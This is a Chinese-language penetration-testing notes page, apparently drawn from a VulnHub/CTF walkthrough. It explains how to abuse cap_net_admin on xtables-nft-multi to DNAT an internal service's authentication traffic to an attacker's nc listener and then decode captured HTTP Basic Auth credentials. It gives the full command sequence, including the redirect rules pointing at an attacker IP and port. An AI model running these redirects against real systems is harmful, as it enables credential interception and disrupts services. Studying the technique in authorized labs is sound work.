跳到主要内容

iptables DNAT 认证流量捕获

当低权限 WebShell 能操作防火墙 / NAT 规则,并且目标机上存在内部服务定时访问某个认证端口时,可以用 DNAT 把流量转发到攻击机监听端口,从请求头中捕获 Basic Auth 等明文凭据。

适用条件

必须同时满足:

条件判断方式
当前用户能改 NATgetcapsudo -l、可执行 iptables / xtables-nft-multi
有可捕获流量日志显示内部 IP 周期性访问认证端口
认证明文可见HTTP Basic Auth、无 TLS 的内部 HTTP
攻击机可接收连接靶机能访问 Kali IP 和监听端口

确认能力

getcap -r /usr/bin /usr/sbin 2>/dev/null

常见高价值能力:

/usr/sbin/xtables-nft-multi cap_net_admin=ep

确认日志:

tail -n 50 /var/log/nginx/access.log

如果看到内部地址反复访问 Basic Auth 端口,就可以尝试捕获。

攻击机监听

nc -lvnp 1236

添加 DNAT 规则

/usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236

查看规则:

/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers

如果目标已有复杂 Docker NAT 规则,可能需要插到更靠前的位置:

/usr/sbin/xtables-nft-multi iptables -t nat -I PREROUTING 1 \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236

解码 Basic Auth

监听端收到:

Authorization: Basic Y3lwaGVyOnBhc3N3b3Jk

解码:

echo 'Y3lwaGVyOnBhc3N3b3Jk' | base64 -d

清理规则

/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING \
-p tcp --dport 81 \
-j DNAT --to-destination 192.168.1.113:1236

如果用行号删除:

/usr/sbin/xtables-nft-multi iptables -t nat -L PREROUTING -n --line-numbers
/usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING 1

防坑点

  • cap_net_admin 不是普通 Web 用户该有的能力。
  • PREROUTING 规则顺序会影响是否命中。
  • 目标流量如果走 HTTPS,DNAT 只能捕获 TLS 流,不能直接读 Basic Auth 明文。
  • 操作 NAT 会影响服务可用性,授权测试中要记录并清理。

来源案例

  • Matrix-Breakout: 2 Morpheuswww-data 可调用带 cap_net_adminxtables-nft-multi,将 81 端口认证流量 DNAT 到 Kali,捕获 cypher 明文密码。